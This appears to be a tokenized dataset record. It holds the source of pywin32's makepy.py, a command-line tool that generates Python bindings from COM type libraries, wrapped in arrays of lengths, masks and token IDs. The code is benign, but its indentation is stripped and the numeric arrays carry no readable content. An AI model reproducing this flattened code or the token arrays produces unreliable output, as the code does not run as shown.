32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
zooba/PTVS
|
Python/Product/Miniconda/Miniconda3-x64/Lib/site-packages/win32com/client/makepy.py
|
10
|
12411
|
# Originally written by Curt Hagenlocher, and various bits
# and pieces by Mark Hammond (and now Greg Stein has had
# a go too :-)
# Note that the main worker code has been moved to genpy.py
# As this is normally run from the command line, it reparses the code each time.
# Now this is nothing more than the command line handler and public interface.
# XXX - TO DO
# XXX - Greg and Mark have some ideas for a revamp - just no
# time - if you want to help, contact us for details.
# Main idea is to drop the classes exported and move to a more
# traditional data driven model.
"""Generate a .py file from an OLE TypeLibrary file.
This module is concerned only with the actual writing of
a .py file. It draws on the @build@ module, which builds
the knowledge of a COM interface.
"""
usageHelp = """ \
Usage:
makepy.py [-i] [-v|q] [-h] [-u] [-o output_file] [-d] [typelib, ...]
-i -- Show information for the specified typelib.
-v -- Verbose output.
-q -- Quiet output.
-h -- Do not generate hidden methods.
-u -- Python 1.5 and earlier: Do NOT convert all Unicode objects to
strings.
Python 1.6 and later: Convert all Unicode objects to strings.
-o -- Create output in a specified output file. If the path leading
to the file does not exist, any missing directories will be
created.
NOTE: -o cannot be used with -d. This will generate an error.
-d -- Generate the base code now and the class code on demand.
Recommended for large type libraries.
typelib -- A TLB, DLL, OCX or anything containing COM type information.
If a typelib is not specified, a window containing a textbox
will open from which you can select a registered type
library.
Examples:
makepy.py -d
Presents a list of registered type libraries from which you can make
a selection.
makepy.py -d "Microsoft Excel 8.0 Object Library"
Generate support for the type library with the specified description
(in this case, the MS Excel object model).
"""
import sys, os, pythoncom
from win32com.client import genpy, selecttlb, gencache
from win32com.client import Dispatch
bForDemandDefault = 0 # Default value of bForDemand - toggle this to change the world - see also gencache.py
error = "makepy.error"
def usage():
sys.stderr.write (usageHelp)
sys.exit(2)
def ShowInfo(spec):
if not spec:
tlbSpec = selecttlb.SelectTlb(excludeFlags=selecttlb.FLAG_HIDDEN)
if tlbSpec is None:
return
try:
tlb = pythoncom.LoadRegTypeLib(tlbSpec.clsid, tlbSpec.major, tlbSpec.minor, tlbSpec.lcid)
except pythoncom.com_error: # May be badly registered.
sys.stderr.write("Warning - could not load registered typelib '%s'\n" % (tlbSpec.clsid))
tlb = None
infos = [(tlb, tlbSpec)]
else:
infos = GetTypeLibsForSpec(spec)
for (tlb, tlbSpec) in infos:
desc = tlbSpec.desc
if desc is None:
if tlb is None:
desc = "<Could not load typelib %s>" % (tlbSpec.dll)
else:
desc = tlb.GetDocumentation(-1)[0]
print(desc)
print(" %s, lcid=%s, major=%s, minor=%s" % (tlbSpec.clsid, tlbSpec.lcid, tlbSpec.major, tlbSpec.minor))
print(" >>> # Use these commands in Python code to auto generate .py support")
print(" >>> from win32com.client import gencache")
print(" >>> gencache.EnsureModule('%s', %s, %s, %s)" % (tlbSpec.clsid, tlbSpec.lcid, tlbSpec.major, tlbSpec.minor))
class SimpleProgress(genpy.GeneratorProgress):
"""A simple progress class prints its output to stderr
"""
def __init__(self, verboseLevel):
self.verboseLevel = verboseLevel
def Close(self):
pass
def Finished(self):
if self.verboseLevel>1:
sys.stderr.write("Generation complete..\n")
def SetDescription(self, desc, maxticks = None):
if self.verboseLevel:
sys.stderr.write(desc + "\n")
def Tick(self, desc = None):
pass
def VerboseProgress(self, desc, verboseLevel = 2):
if self.verboseLevel >= verboseLevel:
sys.stderr.write(desc + "\n")
def LogBeginGenerate(self, filename):
self.VerboseProgress("Generating to %s" % filename, 1)
def LogWarning(self, desc):
self.VerboseProgress("WARNING: " + desc, 1)
class GUIProgress(SimpleProgress):
def __init__(self, verboseLevel):
# Import some modules we need to we can trap failure now.
import win32ui, pywin
SimpleProgress.__init__(self, verboseLevel)
self.dialog = None
def Close(self):
if self.dialog is not None:
self.dialog.Close()
self.dialog = None
def Starting(self, tlb_desc):
SimpleProgress.Starting(self, tlb_desc)
if self.dialog is None:
from pywin.dialogs import status
self.dialog=status.ThreadedStatusProgressDialog(tlb_desc)
else:
self.dialog.SetTitle(tlb_desc)
def SetDescription(self, desc, maxticks = None):
self.dialog.SetText(desc)
if maxticks:
self.dialog.SetMaxTicks(maxticks)
def Tick(self, desc = None):
self.dialog.Tick()
if desc is not None:
self.dialog.SetText(desc)
def GetTypeLibsForSpec(arg):
"""Given an argument on the command line (either a file name, library
description, or ProgID of an object) return a list of actual typelibs
to use. """
typelibs = []
try:
try:
tlb = pythoncom.LoadTypeLib(arg)
spec = selecttlb.TypelibSpec(None, 0,0,0)
spec.FromTypelib(tlb, arg)
typelibs.append((tlb, spec))
except pythoncom.com_error:
# See if it is a description
tlbs = selecttlb.FindTlbsWithDescription(arg)
if len(tlbs)==0:
# Maybe it is the name of a COM object?
try:
ob = Dispatch(arg)
# and if so, it must support typelib info
tlb, index = ob._oleobj_.GetTypeInfo().GetContainingTypeLib()
spec = selecttlb.TypelibSpec(None, 0,0,0)
spec.FromTypelib(tlb)
tlbs.append(spec)
except pythoncom.com_error:
pass
if len(tlbs)==0:
print("Could not locate a type library matching '%s'" % (arg))
for spec in tlbs:
# Version numbers not always reliable if enumerated from registry.
# (as some libs use hex, other's dont. Both examples from MS, of course.)
if spec.dll is None:
tlb = pythoncom.LoadRegTypeLib(spec.clsid, spec.major, spec.minor, spec.lcid)
else:
tlb = pythoncom.LoadTypeLib(spec.dll)
# We have a typelib, but it may not be exactly what we specified
# (due to automatic version matching of COM). So we query what we really have!
attr = tlb.GetLibAttr()
spec.major = attr[3]
spec.minor = attr[4]
spec.lcid = attr[1]
typelibs.append((tlb, spec))
return typelibs
except pythoncom.com_error:
t,v,tb=sys.exc_info()
sys.stderr.write ("Unable to load type library from '%s' - %s\n" % (arg, v))
tb = None # Storing tb in a local is a cycle!
sys.exit(1)
def GenerateFromTypeLibSpec(typelibInfo, file = None, verboseLevel = None, progressInstance = None, bUnicodeToString=None, bForDemand = bForDemandDefault, bBuildHidden = 1):
assert bUnicodeToString is None, "this is deprecated and will go away"
if verboseLevel is None:
verboseLevel = 0 # By default, we use no gui and no verbose level!
if bForDemand and file is not None:
raise RuntimeError("You can only perform a demand-build when the output goes to the gen_py directory")
if isinstance(typelibInfo, tuple):
# Tuple
typelibCLSID, lcid, major, minor = typelibInfo
tlb = pythoncom.LoadRegTypeLib(typelibCLSID, major, minor, lcid)
spec = selecttlb.TypelibSpec(typelibCLSID, lcid, major, minor)
spec.FromTypelib(tlb, str(typelibCLSID))
typelibs = [(tlb, spec)]
elif isinstance(typelibInfo, selecttlb.TypelibSpec):
if typelibInfo.dll is None:
# Version numbers not always reliable if enumerated from registry.
tlb = pythoncom.LoadRegTypeLib(typelibInfo.clsid, typelibInfo.major, typelibInfo.minor, typelibInfo.lcid)
else:
tlb = pythoncom.LoadTypeLib(typelibInfo.dll)
typelibs = [(tlb, typelibInfo)]
elif hasattr(typelibInfo, "GetLibAttr"):
# A real typelib object!
# Could also use isinstance(typelibInfo, PyITypeLib) instead, but PyITypeLib is not directly exposed by pythoncom.
# pythoncom.TypeIIDs[pythoncom.IID_ITypeLib] seems to work
tla = typelibInfo.GetLibAttr()
guid = tla[0]
lcid = tla[1]
major = tla[3]
minor = tla[4]
spec = selecttlb.TypelibSpec(guid, lcid, major, minor)
typelibs = [(typelibInfo, spec)]
else:
typelibs = GetTypeLibsForSpec(typelibInfo)
if progressInstance is None:
progressInstance = SimpleProgress(verboseLevel)
progress = progressInstance
bToGenDir = (file is None)
for typelib, info in typelibs:
gen = genpy.Generator(typelib, info.dll, progress, bBuildHidden=bBuildHidden)
if file is None:
this_name = gencache.GetGeneratedFileName(info.clsid, info.lcid, info.major, info.minor)
full_name = os.path.join(gencache.GetGeneratePath(), this_name)
if bForDemand:
try: os.unlink(full_name + ".py")
except os.error: pass
try: os.unlink(full_name + ".pyc")
except os.error: pass
try: os.unlink(full_name + ".pyo")
except os.error: pass
if not os.path.isdir(full_name):
os.mkdir(full_name)
outputName = os.path.join(full_name, "__init__.py")
else:
outputName = full_name + ".py"
fileUse = gen.open_writer(outputName)
progress.LogBeginGenerate(outputName)
else:
fileUse = file
worked = False
try:
gen.generate(fileUse, bForDemand)
worked = True
finally:
if file is None:
gen.finish_writer(outputName, fileUse, worked)
if bToGenDir:
progress.SetDescription("Importing module")
gencache.AddModuleToCache(info.clsid, info.lcid, info.major, info.minor)
progress.Close()
def GenerateChildFromTypeLibSpec(child, typelibInfo, verboseLevel = None, progressInstance = None, bUnicodeToString=None):
assert bUnicodeToString is None, "this is deprecated and will go away"
if verboseLevel is None:
verboseLevel = 0 # By default, we use no gui, and no verbose level for the children.
if type(typelibInfo)==type(()):
typelibCLSID, lcid, major, minor = typelibInfo
tlb = pythoncom.LoadRegTypeLib(typelibCLSID, major, minor, lcid)
else:
tlb = typelibInfo
tla = typelibInfo.GetLibAttr()
typelibCLSID = tla[0]
lcid = tla[1]
major = tla[3]
minor = tla[4]
spec = selecttlb.TypelibSpec(typelibCLSID, lcid, major, minor)
spec.FromTypelib(tlb, str(typelibCLSID))
typelibs = [(tlb, spec)]
if progressInstance is None:
progressInstance = SimpleProgress(verboseLevel)
progress = progressInstance
for typelib, info in typelibs:
dir_name = gencache.GetGeneratedFileName(info.clsid, info.lcid, info.major, info.minor)
dir_path_name = os.path.join(gencache.GetGeneratePath(), dir_name)
progress.LogBeginGenerate(dir_path_name)
gen = genpy.Generator(typelib, info.dll, progress)
gen.generate_child(child, dir_path_name)
progress.SetDescription("Importing module")
__import__("win32com.gen_py." + dir_name + "." + child)
progress.Close()
def main():
import getopt
hiddenSpec = 1
outputName = None
verboseLevel = 1
doit = 1
bForDemand = bForDemandDefault
try:
opts, args = getopt.getopt(sys.argv[1:], 'vo:huiqd')
for o,v in opts:
if o=='-h':
hiddenSpec = 0
elif o=='-o':
outputName = v
elif o=='-v':
verboseLevel = verboseLevel + 1
elif o=='-q':
verboseLevel = verboseLevel - 1
elif o=='-i':
if len(args)==0:
ShowInfo(None)
else:
for arg in args:
ShowInfo(arg)
doit = 0
elif o=='-d':
bForDemand = not bForDemand
except (getopt.error, error) as msg:
sys.stderr.write (str(msg) + "\n")
usage()
if bForDemand and outputName is not None:
sys.stderr.write("Can not use -d and -o together\n")
usage()
if not doit:
return 0
if len(args)==0:
rc = selecttlb.SelectTlb()
if rc is None:
sys.exit(1)
args = [ rc ]
if outputName is not None:
path = os.path.dirname(outputName)
if path is not '' and not os.path.exists(path):
os.makedirs(path)
if sys.version_info > (3,0):
f = open(outputName, "wt", encoding="mbcs")
else:
import codecs # not available in py3k.
f = codecs.open(outputName, "w", "mbcs")
else:
f = None
for arg in args:
GenerateFromTypeLibSpec(arg, f, verboseLevel = verboseLevel, bForDemand = bForDemand, bBuildHidden = hiddenSpec)
if f:
f.close()
if __name__=='__main__':
rc = main()
if rc:
sys.exit(rc)
sys.exit(0)
|
apache-2.0
|
[
3,
31534,
1183,
5313,
701,
7319,
84,
869,
24758,
320,
7641,
12,
436,
7750,
5821,
199,
3,
436,
10338,
701,
7173,
869,
455,
2106,
68,
334,
460,
3063,
29096,
428,
15859,
965,
10530,
199,
3,
282,
2621,
4634,
22901,
9,
199,
199,
3,
3390,
626,
314,
2446,
7239,
1233,
965,
2757,
12155,
370,
3805,
647,
14,
647,
199,
3,
3709,
642,
365,
12252,
1255,
687,
314,
1414,
1004,
12,
652,
295,
462,
874,
314,
1233,
1924,
900,
14,
257,
199,
3,
7356,
642,
365,
6548,
1655,
2419,
314,
1414,
1004,
3016,
436,
4575,
3217,
14,
199,
199,
3,
5787,
446,
2296,
3506,
199,
3,
5787,
446,
29096,
436,
7173,
1172,
2005,
9979,
305,
367,
282,
295,
3042,
311,
446,
2951,
949,
199,
3,
755,
900,
446,
340,
1265,
2934,
370,
1720,
12,
8966,
2739,
367,
2436,
14,
199,
3,
755,
11298,
16819,
365,
370,
5978,
314,
3992,
16629,
436,
4057,
370,
282,
1655,
199,
3,
755,
1468,
2603,
666,
20921,
1856,
1402,
14,
199,
199,
624,
6864,
282,
1275,
647,
570,
687,
376,
593,
906,
2434,
7424,
570,
14,
4388,
961,
859,
365,
406,
2247,
7439,
1454,
543,
314,
3503,
3575,
402,
199,
282,
1275,
647,
570,
14,
221,
2779,
5954,
83,
641,
314,
768,
1506,
32,
859,
12,
1314,
14723,
9948,
314,
29105,
402,
282,
18877,
3217,
14,
523,
199,
624,
199,
3807,
8673,
275,
408,
971,
199,
199,
7692,
26,
819,
1852,
647,
14,
647,
5243,
73,
61,
5243,
86,
92,
81,
61,
5243,
72,
61,
5243,
85,
61,
5243,
79,
1072,
63,
493,
61,
5243,
68,
61,
359,
466,
773,
12,
21214,
12244,
446,
73,
259,
1553,
12968,
2556,
367,
314,
2013,
730,
773,
14,
12244,
446,
86,
259,
1553,
5444,
2220,
1072,
14,
12244,
446,
81,
259,
1553,
1413,
1907,
386,
1072,
14,
12244,
446,
72,
259,
1553,
4226,
440,
3550,
8752,
3102,
14,
12244,
446,
85,
259,
1553,
2018,
413,
14,
21,
436,
14119,
26,
4226,
2845,
3957,
1006,
6140,
2251,
370,
221,
1779,
3326,
14,
2511,
1779,
2018,
413,
14,
22,
436,
2945,
26,
7905,
1006,
6140,
2251,
370,
3326,
14,
12244,
446,
79,
259,
1553,
2790,
1072,
315,
282,
2013,
1072,
570,
14,
221,
982,
314,
931,
9186,
1779,
370,
314,
570,
1630,
440,
2187,
12,
1263,
4124,
6602,
911,
506,
1779,
2737,
14,
1779,
6944,
26,
446,
79,
3913,
506,
1202,
543,
446,
68,
14,
221,
961,
911,
3550,
376,
1125,
14,
12244,
446,
68,
259,
1553,
7958,
314,
1300,
1233,
3063,
436,
314,
1021,
1233,
641,
29237,
14,
1779,
799,
11902,
367,
7031,
730,
8363,
14,
288,
523,
730,
773,
1553,
437,
377,
11568,
12,
577,
4464,
12,
593,
26001,
503,
7003,
3035,
18877,
730,
2556,
14,
1467,
982,
282,
730,
773,
365,
440,
2013,
12,
282,
4353,
3035,
282,
1318,
1977,
1467,
911,
1551,
687,
1314,
1265,
883,
3504,
282,
7264,
730,
1467,
3555,
14,
355,
199,
22787,
26,
819,
1852,
647,
14,
647,
446,
68,
2043,
272,
5543,
1150,
83,
282,
769,
402,
7264,
730,
8363,
687,
1314,
1265,
883,
1852,
272,
282,
7267,
14,
27404,
1852,
647,
14,
647,
446,
68,
298,
12940,
27832,
1695,
14,
16,
6935,
11243,
2,
2043,
272,
7958,
2291,
367,
314,
730,
3555,
543,
314,
2013,
1369,
272,
334,
262,
642,
1930,
12,
314,
14282,
27832,
909,
1402,
680,
199,
199,
624,
199,
199,
646,
984,
12,
747,
12,
2366,
957,
199,
504,
4747,
708,
957,
14,
1258,
492,
3805,
647,
12,
3504,
5019,
66,
12,
3805,
1637,
199,
504,
4747,
708,
957,
14,
1258,
492,
28626,
199,
199,
66,
1858,
872,
10333,
2698,
275,
378,
327,
3758,
574,
402,
330,
1858,
872,
10333,
446,
19420,
642,
370,
1570,
314,
6701,
446,
1937,
2597,
3805,
1637,
14,
647,
199,
199,
705,
275,
298,
1875,
647,
14,
705,
2,
199,
199,
318,
4503,
837,
199,
198,
1274,
14,
3083,
14,
952,
334,
3807,
8673,
9,
199,
198,
1274,
14,
2224,
8,
18,
9,
199,
199,
318,
12968,
2354,
8,
1650,
304,
199,
198,
692,
440,
3158,
26,
507,
198,
5019,
66,
5307,
275,
3504,
5019,
66,
14,
5446,
52,
6374,
8,
5473,
6381,
29,
2416,
5019,
66,
14,
3719,
63,
40,
22436,
9,
507,
198,
692,
307,
6374,
5307,
365,
488,
26,
686,
198,
1107,
507,
198,
893,
26,
686,
198,
5019,
66,
275,
2366,
957,
14,
6200,
2872,
804,
4728,
8,
5019,
66,
5307,
14,
429,
4148,
12,
307,
6374,
5307,
14,
8452,
12,
307,
6374,
5307,
14,
11067,
12,
307,
6374,
5307,
14,
76,
7504,
9,
507,
198,
2590,
2366,
957,
14,
957,
63,
705,
26,
327,
10162,
506,
4875,
590,
7264,
14,
686,
198,
1274,
14,
3083,
14,
952,
480,
3849,
446,
4293,
440,
2248,
7264,
730,
773,
1543,
83,
1154,
78,
2,
450,
334,
5019,
66,
5307,
14,
429,
4148,
430,
686,
198,
5019,
66,
275,
488,
9068,
198,
14195,
275,
3842,
5019,
66,
12,
307,
6374,
5307,
1874,
199,
198,
2836,
26,
507,
198,
14195,
275,
2372,
804,
13009,
1533,
1858,
5307,
8,
1650,
9,
199,
198,
509,
334,
5019,
66,
12,
307,
6374,
5307,
9,
315,
24485,
26,
507,
198,
3257,
275,
307,
6374,
5307,
14,
3257,
507,
198,
692,
4328,
365,
488,
26,
686,
198,
692,
307,
6374,
365,
488,
26,
1585,
198,
3257,
275,
3886,
6531,
440,
2248,
730,
773,
450,
83,
4335,
450,
334,
5019,
66,
5307,
14,
9259,
9,
686,
198,
2836,
26,
1585,
198,
3257,
275,
307,
6374,
14,
1002,
17763,
2801,
17,
2788,
16,
61,
507,
198,
1361,
8,
3257,
9,
507,
198,
1361,
480,
450,
83,
12,
634,
7504,
2458,
83,
12,
12160,
2458,
83,
12,
12612,
2458,
83,
2,
450,
334,
5019,
66,
5307,
14,
429,
4148,
12,
307,
6374,
5307,
14,
76,
7504,
12,
307,
6374,
5307,
14,
8452,
12,
307,
6374,
5307,
14,
11067,
430,
507,
198,
1361,
480,
1306,
327,
3645,
3520,
3718,
315,
2018,
1233,
370,
2599,
3550,
1275,
647,
2291,
531,
507,
198,
1361,
480,
1306,
687,
4747,
708,
957,
14,
1258,
492,
3805,
1637,
531,
507,
198,
1361,
480,
1306,
3805,
1637,
14,
13913,
2377,
3508,
83,
297,
450,
83,
12,
450,
83,
12,
450,
83,
2924,
450,
334,
5019,
66,
5307,
14,
429,
4148,
12,
307,
6374
] |
[
31534,
1183,
5313,
701,
7319,
84,
869,
24758,
320,
7641,
12,
436,
7750,
5821,
199,
3,
436,
10338,
701,
7173,
869,
455,
2106,
68,
334,
460,
3063,
29096,
428,
15859,
965,
10530,
199,
3,
282,
2621,
4634,
22901,
9,
199,
199,
3,
3390,
626,
314,
2446,
7239,
1233,
965,
2757,
12155,
370,
3805,
647,
14,
647,
199,
3,
3709,
642,
365,
12252,
1255,
687,
314,
1414,
1004,
12,
652,
295,
462,
874,
314,
1233,
1924,
900,
14,
257,
199,
3,
7356,
642,
365,
6548,
1655,
2419,
314,
1414,
1004,
3016,
436,
4575,
3217,
14,
199,
199,
3,
5787,
446,
2296,
3506,
199,
3,
5787,
446,
29096,
436,
7173,
1172,
2005,
9979,
305,
367,
282,
295,
3042,
311,
446,
2951,
949,
199,
3,
755,
900,
446,
340,
1265,
2934,
370,
1720,
12,
8966,
2739,
367,
2436,
14,
199,
3,
755,
11298,
16819,
365,
370,
5978,
314,
3992,
16629,
436,
4057,
370,
282,
1655,
199,
3,
755,
1468,
2603,
666,
20921,
1856,
1402,
14,
199,
199,
624,
6864,
282,
1275,
647,
570,
687,
376,
593,
906,
2434,
7424,
570,
14,
4388,
961,
859,
365,
406,
2247,
7439,
1454,
543,
314,
3503,
3575,
402,
199,
282,
1275,
647,
570,
14,
221,
2779,
5954,
83,
641,
314,
768,
1506,
32,
859,
12,
1314,
14723,
9948,
314,
29105,
402,
282,
18877,
3217,
14,
523,
199,
624,
199,
3807,
8673,
275,
408,
971,
199,
199,
7692,
26,
819,
1852,
647,
14,
647,
5243,
73,
61,
5243,
86,
92,
81,
61,
5243,
72,
61,
5243,
85,
61,
5243,
79,
1072,
63,
493,
61,
5243,
68,
61,
359,
466,
773,
12,
21214,
12244,
446,
73,
259,
1553,
12968,
2556,
367,
314,
2013,
730,
773,
14,
12244,
446,
86,
259,
1553,
5444,
2220,
1072,
14,
12244,
446,
81,
259,
1553,
1413,
1907,
386,
1072,
14,
12244,
446,
72,
259,
1553,
4226,
440,
3550,
8752,
3102,
14,
12244,
446,
85,
259,
1553,
2018,
413,
14,
21,
436,
14119,
26,
4226,
2845,
3957,
1006,
6140,
2251,
370,
221,
1779,
3326,
14,
2511,
1779,
2018,
413,
14,
22,
436,
2945,
26,
7905,
1006,
6140,
2251,
370,
3326,
14,
12244,
446,
79,
259,
1553,
2790,
1072,
315,
282,
2013,
1072,
570,
14,
221,
982,
314,
931,
9186,
1779,
370,
314,
570,
1630,
440,
2187,
12,
1263,
4124,
6602,
911,
506,
1779,
2737,
14,
1779,
6944,
26,
446,
79,
3913,
506,
1202,
543,
446,
68,
14,
221,
961,
911,
3550,
376,
1125,
14,
12244,
446,
68,
259,
1553,
7958,
314,
1300,
1233,
3063,
436,
314,
1021,
1233,
641,
29237,
14,
1779,
799,
11902,
367,
7031,
730,
8363,
14,
288,
523,
730,
773,
1553,
437,
377,
11568,
12,
577,
4464,
12,
593,
26001,
503,
7003,
3035,
18877,
730,
2556,
14,
1467,
982,
282,
730,
773,
365,
440,
2013,
12,
282,
4353,
3035,
282,
1318,
1977,
1467,
911,
1551,
687,
1314,
1265,
883,
3504,
282,
7264,
730,
1467,
3555,
14,
355,
199,
22787,
26,
819,
1852,
647,
14,
647,
446,
68,
2043,
272,
5543,
1150,
83,
282,
769,
402,
7264,
730,
8363,
687,
1314,
1265,
883,
1852,
272,
282,
7267,
14,
27404,
1852,
647,
14,
647,
446,
68,
298,
12940,
27832,
1695,
14,
16,
6935,
11243,
2,
2043,
272,
7958,
2291,
367,
314,
730,
3555,
543,
314,
2013,
1369,
272,
334,
262,
642,
1930,
12,
314,
14282,
27832,
909,
1402,
680,
199,
199,
624,
199,
199,
646,
984,
12,
747,
12,
2366,
957,
199,
504,
4747,
708,
957,
14,
1258,
492,
3805,
647,
12,
3504,
5019,
66,
12,
3805,
1637,
199,
504,
4747,
708,
957,
14,
1258,
492,
28626,
199,
199,
66,
1858,
872,
10333,
2698,
275,
378,
327,
3758,
574,
402,
330,
1858,
872,
10333,
446,
19420,
642,
370,
1570,
314,
6701,
446,
1937,
2597,
3805,
1637,
14,
647,
199,
199,
705,
275,
298,
1875,
647,
14,
705,
2,
199,
199,
318,
4503,
837,
199,
198,
1274,
14,
3083,
14,
952,
334,
3807,
8673,
9,
199,
198,
1274,
14,
2224,
8,
18,
9,
199,
199,
318,
12968,
2354,
8,
1650,
304,
199,
198,
692,
440,
3158,
26,
507,
198,
5019,
66,
5307,
275,
3504,
5019,
66,
14,
5446,
52,
6374,
8,
5473,
6381,
29,
2416,
5019,
66,
14,
3719,
63,
40,
22436,
9,
507,
198,
692,
307,
6374,
5307,
365,
488,
26,
686,
198,
1107,
507,
198,
893,
26,
686,
198,
5019,
66,
275,
2366,
957,
14,
6200,
2872,
804,
4728,
8,
5019,
66,
5307,
14,
429,
4148,
12,
307,
6374,
5307,
14,
8452,
12,
307,
6374,
5307,
14,
11067,
12,
307,
6374,
5307,
14,
76,
7504,
9,
507,
198,
2590,
2366,
957,
14,
957,
63,
705,
26,
327,
10162,
506,
4875,
590,
7264,
14,
686,
198,
1274,
14,
3083,
14,
952,
480,
3849,
446,
4293,
440,
2248,
7264,
730,
773,
1543,
83,
1154,
78,
2,
450,
334,
5019,
66,
5307,
14,
429,
4148,
430,
686,
198,
5019,
66,
275,
488,
9068,
198,
14195,
275,
3842,
5019,
66,
12,
307,
6374,
5307,
1874,
199,
198,
2836,
26,
507,
198,
14195,
275,
2372,
804,
13009,
1533,
1858,
5307,
8,
1650,
9,
199,
198,
509,
334,
5019,
66,
12,
307,
6374,
5307,
9,
315,
24485,
26,
507,
198,
3257,
275,
307,
6374,
5307,
14,
3257,
507,
198,
692,
4328,
365,
488,
26,
686,
198,
692,
307,
6374,
365,
488,
26,
1585,
198,
3257,
275,
3886,
6531,
440,
2248,
730,
773,
450,
83,
4335,
450,
334,
5019,
66,
5307,
14,
9259,
9,
686,
198,
2836,
26,
1585,
198,
3257,
275,
307,
6374,
14,
1002,
17763,
2801,
17,
2788,
16,
61,
507,
198,
1361,
8,
3257,
9,
507,
198,
1361,
480,
450,
83,
12,
634,
7504,
2458,
83,
12,
12160,
2458,
83,
12,
12612,
2458,
83,
2,
450,
334,
5019,
66,
5307,
14,
429,
4148,
12,
307,
6374,
5307,
14,
76,
7504,
12,
307,
6374,
5307,
14,
8452,
12,
307,
6374,
5307,
14,
11067,
430,
507,
198,
1361,
480,
1306,
327,
3645,
3520,
3718,
315,
2018,
1233,
370,
2599,
3550,
1275,
647,
2291,
531,
507,
198,
1361,
480,
1306,
687,
4747,
708,
957,
14,
1258,
492,
3805,
1637,
531,
507,
198,
1361,
480,
1306,
3805,
1637,
14,
13913,
2377,
3508,
83,
297,
450,
83,
12,
450,
83,
12,
450,
83,
2924,
450,
334,
5019,
66,
5307,
14,
429,
4148,
12,
307,
6374,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
